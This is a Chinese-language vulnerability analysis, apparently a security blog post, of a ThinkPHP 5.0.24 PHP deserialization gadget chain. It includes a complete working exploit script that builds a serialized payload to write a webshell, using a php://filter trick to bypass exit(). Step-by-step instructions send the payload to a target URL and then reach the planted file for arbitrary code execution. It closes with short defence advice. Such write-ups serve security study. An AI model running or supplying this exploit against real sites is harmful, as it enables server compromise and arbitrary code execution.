ThinkPHP 5.0.X代码审计
字数 1617 2025-08-26 22:11:23
ThinkPHP 5.0.X 反序列化漏洞分析与利用
环境准备
-
软件工具:
- PHPSTORM
- Seay源代码审计系统
- Phpstudy_pro (PHP 7.3.4)
- Xdebug (参考暗月教程配置)
-
目标框架:
- ThinkPHP 5.0.24
目录结构分析
www/ WEB部署目录
├── application/ 应用目录
│ ├── common/ 公共模块目录
│ ├── module_name/ 模块目录
│ │ ├── config.php 模块配置文件
│ │ ├── common.php 模块函数文件
│ │ ├── controller/ 控制器目录
│ │ ├── model/ 模型目录
│ │ └── view/ 视图目录
│ ├── command.php 命令行工具配置文件
│ ├── common.php 公共函数文件
│ ├── config.php 公共配置文件
│ ├── route.php 路由配置文件
│ └── tags.php 应用行为扩展定义文件
├── public/ WEB目录(对外访问目录)
│ ├── index.php 入口文件
│ ├── router.php 快速测试文件
│ └── .htaccess 用于apache的重写
├── thinkphp/ 框架系统目录
│ ├── lang/ 语言文件目录
│ ├── library/ 框架类库目录
│ │ ├── think/ Think类库包目录
│ │ └── traits/ 系统Trait目录
│ ├── tpl/ 系统模板目录
│ ├── base.php 基础定义文件
│ ├── console.php 控制台入口文件
│ ├── convention.php 框架惯例配置文件
│ ├── helper.php 助手函数文件
│ ├── phpunit.xml phpunit配置文件
│ └── start.php 框架入口文件
├── extend/ 扩展类库目录
├── runtime/ 应用的运行时目录(可写,可定制)
├── vendor/ 第三方类库目录(Composer依赖库)
├── build.php 自动生成定义文件
├── composer.json composer定义文件
├── LICENSE.txt 授权说明文件
└── README.md README文件
漏洞利用前提
- 需要二次开发,在控制器中手动添加反序列化点:
public function index() {
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a']));
// 其他代码...
}
反序列化利用链分析
入口点选择
常见魔术方法作为入口点:
__wakeup()- 反序列化后自动调用__destruct()- 对象销毁前调用(主要利用点)__toString()- 对象被当作字符串输出时调用
利用链流程
-
起点:
Windows.php中的__destruct()方法- 调用
removeFiles()方法 - 其中
file_exists()函数会触发__toString()
- 调用
-
跳板1:
Model.php中的__toString()方法- 调用
toJson()方法 - 进而调用
toArray()方法
- 调用
-
跳板2:
toArray()方法中的可控函数调用- 通过控制
$append数组触发getError()方法 - 控制
$modelRelation变量
- 通过控制
-
跳板3:
Output.php中的__call()方法- 通过
call_user_func_array()实现函数调用 - 最终调用
Memcache.php中的write()方法
- 通过
-
最终利用:
File.php中的set()方法- 使用
file_put_contents()写入Webshell - 需要绕过
exit()限制
- 使用
关键类分析
-
Windows类 (
think\process\pipes\Windows)- 关键方法:
__destruct(),removeFiles() - 控制
$files数组触发__toString()
- 关键方法:
-
Model类 (
think\Model)- 关键方法:
__toString(),toArray() - 通过
$append和$error控制执行流程
- 关键方法:
-
HasOne类 (
think\model\relation\HasOne)- 继承自
OneToOne - 提供
getBindAttr()方法
- 继承自
-
Output类 (
think\console\Output)- 关键方法:
__call() - 通过
$styles控制可调用方法
- 关键方法:
-
File类 (
think\cache\driver\File)- 关键方法:
set() - 最终利用
file_put_contents()写入文件
- 关键方法:
完整利用链
Windows::__destruct()
-> Windows::removeFiles()
-> file_exists()触发__toString()
-> Model::__toString()
-> Model::toJson()
-> Model::toArray()
-> 通过$append触发getError()
-> 控制$modelRelation
-> Output::__call()
-> call_user_func_array()
-> Memcache::write()
-> File::set()
-> file_put_contents()
EXP构造
<?php
namespace think\process\pipes {
abstract class Pipes {}
}
namespace think\process\pipes {
class Windows extends Pipes {
private $files = [];
public function __construct($Pivot) {
$this->files = [$Pivot];
}
}
}
namespace think {
abstract class Model {
protected $append = [];
protected $error = null;
protected $parent;
function __construct($output, $modelRelation) {
$this->parent = $output;
$this->append = array("1" => "getError");
$this->error = $modelRelation;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
function __construct($output, $modelRelation) {
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation {
class HasOne extends OneToOne {}
}
namespace think\model\relation {
abstract class OneToOne {
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query) {
$this->selfRelation = 0;
$this->query = $query;
$this->bindAttr = ['xxx'];
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model) {
$this->model = $model;
}
}
}
namespace think\console {
class Output {
protected $styles = ["getAttr"];
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
}
}
namespace think\session\driver {
class Memcached {
protected $handler;
public function __construct($handler) {
$this->handler = $handler;
}
}
}
namespace think\cache\driver {
class File {
protected $options = null;
protected $tag;
public function __construct() {
$this->options = [
'expire' => 0,
'cache_subdir' => '0',
'prefix' => '0',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php',
'data_compress' => false,
];
$this->tag = '1';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
echo base64_encode(serialize($window));
}
漏洞利用步骤
- 将上述EXP代码保存为
exp.php - 执行
php exp.php生成payload - 访问目标URL:
http://target/index.php/Index/index?a=[生成的payload] - Webshell将被写入到
a.php文件中 - 访问
http://target/a.php执行任意PHP代码
关键绕过技术
-
exit()绕过:
- 使用PHP伪协议
php://filter - 结合
convert.iconv.utf-8.utf-7和convert.base64-decode过滤器 - 构造特定格式的base64编码内容
- 使用PHP伪协议
-
文件路径控制:
- 通过
$options['path']控制写入路径 - 使用
../进行目录穿越 - 最终文件名由
md5(tag_md5("1"))决定
- 通过
防御建议
- 避免直接反序列化用户输入
- 升级到最新版本的ThinkPHP
- 对关键类进行限制,防止被反序列化
- 使用
__wakeup()或__destruct()方法进行安全检查 - 限制文件系统操作权限